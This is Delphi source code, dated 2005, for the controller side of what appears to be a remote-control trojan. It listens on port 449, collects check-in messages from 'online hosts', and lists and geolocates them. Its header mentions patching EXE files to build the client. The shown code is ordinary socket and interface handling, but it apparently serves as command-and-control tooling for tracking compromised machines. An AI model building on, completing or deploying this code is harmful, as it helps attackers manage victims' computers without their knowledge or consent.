DELPHI自动上线服务端源码

unit Main;
{
服务端部分
作者：Jony[E.S.T]
创建日期：2005-12-17
声明：纯真IP数据库读取参考 冷风兄 的代码
　　　修改EXE内容使用MPHexEditor控件
技术重点：其实也没什么重点，无非是ServerSocket和ClientSocket
}
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ExtCtrls, ComCtrls, ImgList, Menus, ScktComp, untTQQWry , Create, Help;
const
WM_CENTER_MESSAGEBOX = WM_USER + 1001;    //自定义消息代码
const
{
定义弹出的消息窗口的类型
OKOnly=0 仅显示确定按钮
Critical=16 "STOP"图标
}
OKOnly=0;
Critical=16;
type
TForm1 = class(TForm)
PageControl1: TPageControl;
TabSheet1: TTabSheet;
SBar: TStatusBar;
ImageList1: TImageList;
SrvIP: TListView;
ImageList2: TImageList;
Panel1: TPanel;
S_Socket: TServerSocket;
MainMenu1: TMainMenu;
N1: TMenuItem;
H1: TMenuItem;
PopupMenu1: TPopupMenu;
N2: TMenuItem;
N3: TMenuItem;
N4: TMenuItem;
ImageList3: TImageList;
procedure S_SocketClientError(Sender: TObject;Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;var ErrorCode: Integer);
procedure S_SocketClientRead(Sender: TObject;Socket: TCustomWinSocket);
procedure FormCreate(Sender: TObject);
procedure N2Click(Sender: TObject);
procedure N1Click(Sender: TObject);
procedure H1Click(Sender: TObject);
procedure N4Click(Sender: TObject);
private
procedure WMCenterMessageBox(var Msg: TMessage); message WM_CENTER_MESSAGEBOX;
public
{ Public declarations }
end;

var
Form1: TForm1;
QQWry: TQQWry;

implementation

{$R *.dfm}
procedure TForm1.WMCenterMessageBox(var Msg: TMessage);
var
MBHwnd: THandle;
MBRect: TRect;
x, y, w, h: Integer;
begin
MBHwnd:=GetActiveWindow;
if (MBHwnd <> 0) then begin
GetWindowRect(MBHWnd, MBRect);
w := MBRect.Right - MBRect.Left + 1;
h := MBRect.Bottom - MBRect.Top + 1;
//计算水平位置
x := Form1.Left + ((Form1.Width - w) div 2);
if x < 0 then
x := 0
else if x + w > Screen.Width then
x := Screen.Width - w;
//计算垂直位置
y := Form1.Top + ((Form1.Height - h) div 2);
if y < 0 then
y := 0
else if y + h > Screen.Height then
y := Screen.Height - h;
//调整位置
SetWindowPos(MBHWnd, 0, x, y, 0, 0, SWP_NOACTIVATE OR SWP_NOSIZE OR SWP_NOZORDER);
end;
end;

function MsgBox(msg:string; mbType:Word; title:string): word;
{弹出消息框}
var
pText, pCaption: PChar;
begin
PostMessage(Application.MainForm.Handle, WM_CENTER_MESSAGEBOX, 0, 0);
pText:=StrAlloc(Length(msg) + 1);
StrPCopy(pText, msg);
pCaption:=StrAlloc(Length(title) + 1);
StrPCopy(pCaption, title);
result:=MessageBox(GetActiveWindow, pText, pCaption, mbType);
end;

Function IPAddr(s:string):string;
{查询IP地址所属区域}
var
IPRecordID: int64;
slIPData: TStringlist;
ss:string;
begin
if not Fileexists(ExtractFilePath(paramstr(0))+'ipdata\QQwry.dat') then
begin
Application.MessageBox('ipdata\QQwry.dat 不存在！','提示');
exit;
end
else
begin
try
QQWry:=TQQWry.Create('ipdata\QQwry.dat');
IPRecordID:=QQWry.GetIPDataID(s);
slIPData:=TStringlist.Create;
QQWry.GetIPDataByIPRecordID(IPRecordID, slIPData);
QQWry.Destroy;
ss:=format('%s',[slIPData[2]]);
slIPData.Free;
Result:=ss;
except
on E: Exception do begin
MsgBox(E.Message, OKOnly + Critical, '错误');
exit;
end;
end;
exit;
end;
end;

procedure TForm1.S_SocketClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
begin
ErrorCode:=0;
end;

procedure TForm1.S_SocketClientRead(Sender: TObject;
Socket: TCustomWinSocket);
{收到消息并处理}
var
len,i:integer;//数据包长度
buf:Pointer;
C,N,M,S,Ss,D:string;
List:TListItem;
begin
Len:=Socket.ReceiveLength;//读出包长度
GetMem(buf,len);//动态分配内存
Socket.ReceiveBuf(buf^,len);//接收包，读入缓冲区
S:=StrPas(Pchar(buf));
S:=Copy(S,1,len);
if s='' then exit;
d:=Copy(s,1,4);
c:=copy(s,5,Length(s)-4);
if d='info' then
begin
i:=pos('>>>',c);//取>>>在第几位
N:=Copy(c,1,i-1);//从第一位起取 i-1 个字符，即取得>>>之前的字符
c:=Copy(c,i+3,length(c));//重新取C的值为原值的第i+1位起 - 原值的结尾
i:=pos('>>>',c);
m:=Copy(c,1,i-1);
ss:=Copy(c,i+3,length(c));
for i:=1 to SrvIP.Items.Count do
if c=SrvIP.Items[i-1].Caption then exit;
List:=SrvIP.items.Add;
List.Caption:=n;
List.SubItems.Add(m);
List.SubItems.Add(Ss);
List.SubItems.Add(ipaddr(list.Caption));
sbar.Panels[0].Text:='上线主机总数：'+IntToStr(SrvIP.Items.Count);
end;
end;

procedure TForm1.FormCreate(Sender: TObject);
{监听 449 端口的数据 }
begin
S_Socket.Active:=False;
S_Socket.Port:=449;
S_Socket.Active:=True;
sbar.Panels[0].Text:='上线主机总数：'+inttostr(SrvIP.Items.Count);
end;

procedure TForm1.N2Click(Sender: TObject);
{ 清空SrvIP控件的内容，重新监听 449 端口的数据 }
begin
try
SrvIP.Clear;
S_Socket.Active:=False;
S_Socket.Port:=449;
S_Socket.Active:=True;
sbar.Panels[0].Text:='上线主机总数：'+IntToStr(SrvIP.Items.Count);
sbar.Panels[1].Text:='刷新上线主机完毕！';
except
AppliCation.MessageBox('端口错误？','提示');
exit;
end;
end;

procedure TForm1.N1Click(Sender: TObject);
begin
Form2.Show;
end;

procedure TForm1.H1Click(Sender: TObject);
begin
Form3.ShowModal;
end;

procedure TForm1.N4Click(Sender: TObject);
begin
form2.ShowModal;
end;

end.